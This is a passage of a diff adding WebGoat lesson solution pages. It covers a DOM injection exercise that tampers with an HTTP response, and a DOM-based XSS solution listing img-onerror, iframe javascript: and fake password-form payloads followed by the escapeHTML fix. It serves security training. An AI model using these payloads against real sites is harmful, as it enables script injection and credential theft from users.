||||
XMLHttpRequest != 'undefined') {<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-indent:36.0pt'><span style='font-family:"Arial","sans-serif"'>req
|
||||
= new XMLHttpRequest();<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>} else if
|
||||
(window.ActiveXObject) {<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-indent:36.0pt'><span style='font-family:"Arial","sans-serif"'>req
|
||||
= new ActiveXObject('Microsoft.XMLHTTP');<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-spacerun:yes'><EFBFBD><EFBFBD> </span>}<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-spacerun:yes'><EFBFBD><EFBFBD> </span>req.open('GET', url, true);<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-spacerun:yes'><EFBFBD><EFBFBD> </span>req.onreadystatechange = callback;<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-spacerun:yes'><EFBFBD><EFBFBD> </span>req.send(null);<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>}<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>function
|
||||
callback() {<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD> </span>if (req.readyState == 4) { <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> </span>if (req.status == 200) { <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> </span>var message = req.responseText;<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-tab-count:3'><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> </span><span
|
||||
style='mso-spacerun:yes'><EFBFBD></span>eval(message);<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-spacerun:yes'><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> </span>}}}<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'></script><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The XML
|
||||
response contains JavaScript that will activate the button so that you are able
|
||||
to click on it. This requires you to inject JavaScript to manipulate the
|
||||
Document Object Model of the HTML page in the browser. This requires
|
||||
intercepting the HTTP response in WebScarab!<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Enter a
|
||||
license key (for example 'a') and intercept the HTTP Request and HTTP Response
|
||||
in WebScarab.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_50"
|
||||
o:spid="_x0000_i1029" type="#_x0000_t75" style='width:481.5pt;height:345pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/DOMInjection_files/image003.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=460
|
||||
src="lesson_solutions/DOMInjection_files/image004.jpg" v:shapes="Picture_x0020_50"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>2</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> HTTP Request</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='mso-no-proof:
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_51" o:spid="_x0000_i1028"
|
||||
type="#_x0000_t75" style='width:481.5pt;height:345pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/DOMInjection_files/image005.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=460
|
||||
src="lesson_solutions/DOMInjection_files/image006.jpg" v:shapes="Picture_x0020_51"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>3</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> HTTP Response</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Intercept the
|
||||
reply and replace the body with document.form.SUBMIT.disabled = false;<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_52"
|
||||
o:spid="_x0000_i1027" type="#_x0000_t75" style='width:481.5pt;height:345pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/DOMInjection_files/image007.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=460
|
||||
src="lesson_solutions/DOMInjection_files/image008fix.jpg" v:shapes="Picture_x0020_52"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>4</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Updated HTTP Response</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal>The button <20>Activate!<21> is now enabled!</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='mso-no-proof:
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_53" o:spid="_x0000_i1026"
|
||||
type="#_x0000_t75" style='width:480pt;height:277.5pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/DOMInjection_files/image009.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/DOMInjection_files/image010.jpg" v:shapes="Picture_x0020_53"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>5</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Activate! Button is enabled</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='mso-no-proof:
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_54" o:spid="_x0000_i1025"
|
||||
type="#_x0000_t75" style='width:480pt;height:277.5pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/DOMInjection_files/image011.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/DOMInjection_files/image012.jpg" v:shapes="Picture_x0020_54"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>6</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Lesson completed</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
</div>
|
||||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
51
src/main/webapp/lesson_solutions_1/DOMXSS.html
Normal file
51
src/main/webapp/lesson_solutions_1/DOMXSS.html
Normal file
@ -0,0 +1,51 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>DOM Based Cross Site Scripting (XSS)</title>
|
||||
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> DOM Based Cross Site Scripting (XSS)</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
The Document Object Model (DOM) presents an interesting problem from a security standpoint. It allows the content of a web page to be dynamically modified, but that can be abused by attackers during a malicious code injection. XSS, a type of malicious code injection, can occur when unvalidated user input is used directly to modify the content of a page on the client side. <br>
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
For this exercise, your mission is to use this vulnerability to inject malicious code into the DOM. Then in the last stage, you will correct the flaws in the code to address the vulnerability.
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/><br/>
|
||||
Stage 1: Enter "<IMG SRC="images/logos/owasp.jpg"/>" and submit the solution.<br/><br/>
|
||||
<img src="lesson_solutions/DOMXSS_files/image001.jpg"><br/>
|
||||
<font size="2"><b>Stage 1 result</b></font><br/><br/><br/>
|
||||
Stage 2: Enter "<img src=x onerror=;;alert('XSS') />" and submit the solution.<br/><br/>
|
||||
<img src="lesson_solutions/DOMXSS_files/image002.jpg"><br/>
|
||||
<font size="2"><b>Stage 2 result</b></font><br/><br/><br/>
|
||||
Stage 3: Enter "<IFRAME SRC="javascript:alert('XSS');"></IFRAME>" and submit the solution.<br/><br/>
|
||||
<img src="lesson_solutions/DOMXSS_files/image003.jpg"><br/>
|
||||
<font size="2"><b>Stage 3 result</b></font><br/><br/><br/>
|
||||
Stage 4: Enter "Please enter your password:<BR><input type = "password" name="pass"/><button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR> <BR><BR><BR><BR><BR><BR><BR><BR>" and submit the solution.<br/><br/>
|
||||
<img src="lesson_solutions/DOMXSS_files/image004.jpg"><br/>
|
||||
<font size="2"><b>Stage 4 result</b></font><br/><br/><br/>
|
||||
Stage 5: You have to use the JavaScript escape.js for the input.<br/>
|
||||
You will find the JavaScripts in tomcat\webapps\WebGoat\javascript ( Standart Version ) or in WebContent\javascript ( Developer Version ).<br/>
|
||||
Open the JavaScript DOMXSS.js<br/><br/><br/>
|
||||
<i>function displayGreeting(name) {<br/>
|
||||
if (name != ''){<br/>
|
||||
document.getElementById("greeting").innerHTML="Hello, " + </i><b>name</b><i> + "!";<br/>
|
||||
}<br/>
|
||||
}</i><br/>
|
||||
<br/>
|
||||
You have to change this to:<br/><br/>
|
||||
<i>function displayGreeting(name) {<br/>
|
||||
if (name != ''){<br/>
|
||||
document.getElementById("greeting").innerHTML="Hello, " + </i><b>escapeHTML(name);</b><i> + "!";<br/>
|
||||
}<br/>
|
||||
}</i><br/>
|
||||
<br/>
|
||||
The attacks will no longer work.
|
||||
<br><br><br>
|
||||
</body>
|
||||
</html>
|
||||
704
src/main/webapp/lesson_solutions_1/DOS_Login.html
Normal file
704
src/main/webapp/lesson_solutions_1/DOS_Login.html
Normal file
@ -0,0 +1,704 @@
|
||||
<html xmlns:v="urn:schemas-microsoft-com:vml"
|
||||
xmlns:o="urn:schemas-microsoft-com:office:office"
|
||||
xmlns:w="urn:schemas-microsoft-com:office:word"
|
||||
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml"
|
||||
xmlns="http://www.w3.org/TR/REC-html40">
|
||||
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
|
||||
<meta name=ProgId content=Word.Document>
|
||||
<meta name=Generator content="Microsoft Word 12">
|
||||
<meta name=Originator content="Microsoft Word 12">
|
||||
<link rel=File-List href="lesson_solutions/DOS_Login_files/filelist.xml">
|
||||
<link rel=Edit-Time-Data href="lesson_solutions/DOS_Login_files/editdata.mso">
|
||||
<!--[if !mso]>
|
||||
<style>
|
||||
v\:* {behavior:url(#default#VML);}
|
||||
o\:* {behavior:url(#default#VML);}
|
||||
w\:* {behavior:url(#default#VML);}
|
||||
.shape {behavior:url(#default#VML);}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:DocumentProperties>
|
||||
<o:Author>egeirnaert</o:Author>
|
||||
<o:LastAuthor>egeirnaert</o:LastAuthor>
|
||||
<o:Revision>4</o:Revision>
|
||||
<o:TotalTime>39</o:TotalTime>
|
||||
<o:Created>2007-07-11T14:04:00Z</o:Created>
|
||||
<o:LastSaved>2007-07-12T15:28:00Z</o:LastSaved>
|
||||
<o:Pages>1</o:Pages>
|
||||
<o:Words>151</o:Words>
|
||||
<o:Characters>861</o:Characters>
|
||||
<o:Company> </o:Company>
|
||||
<o:Lines>7</o:Lines>
|
||||
<o:Paragraphs>2</o:Paragraphs>
|
||||
<o:CharactersWithSpaces>1010</o:CharactersWithSpaces>
|
||||
<o:Version>12.00</o:Version>
|
||||
</o:DocumentProperties>
|
||||
</xml><![endif]-->
|
||||
<link rel=themeData href="lesson_solutions/DOS_Login_files/themedata.thmx">
|
||||
<link rel=colorSchemeMapping href="lesson_solutions/DOS_Login_files/colorschememapping.xml">
|
||||
<!--[if gte mso 9]><xml>
|
||||
<w:WordDocument>
|
||||
<w:Zoom>90</w:Zoom>
|
||||
<w:TrackMoves>false</w:TrackMoves>
|
||||
<w:TrackFormatting/>
|
||||
<w:PunctuationKerning/>
|
||||
<w:ValidateAgainstSchemas/>
|
||||
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
|
||||
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
|
||||
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
|
||||
<w:DoNotPromoteQF/>
|
||||
<w:LidThemeOther>EN-US</w:LidThemeOther>
|
||||
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
|
||||
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
|
||||
<w:Compatibility>
|
||||
<w:BreakWrappedTables/>
|
||||
<w:SnapToGridInCell/>
|
||||
<w:WrapTextWithPunct/>
|
||||
<w:UseAsianBreakRules/>
|
||||
<w:DontGrowAutofit/>
|
||||
<w:SplitPgBreakAndParaMark/>
|
||||
<w:DontVertAlignCellWithSp/>
|
||||
<w:DontBreakConstrainedForcedTables/>
|
||||
<w:DontVertAlignInTxbx/>
|
||||
<w:Word11KerningPairs/>
|
||||
<w:CachedColBalance/>
|
||||
</w:Compatibility>
|
||||
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr></w:WordDocument>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
|
||||
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
|
||||
LatentStyleCount="267">
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/>
|
||||
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
|
||||
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
|
||||
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Hyperlink"/>
|
||||
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
|
||||
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Table Grid"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
|
||||
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
|
||||
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
|
||||
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
|
||||
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
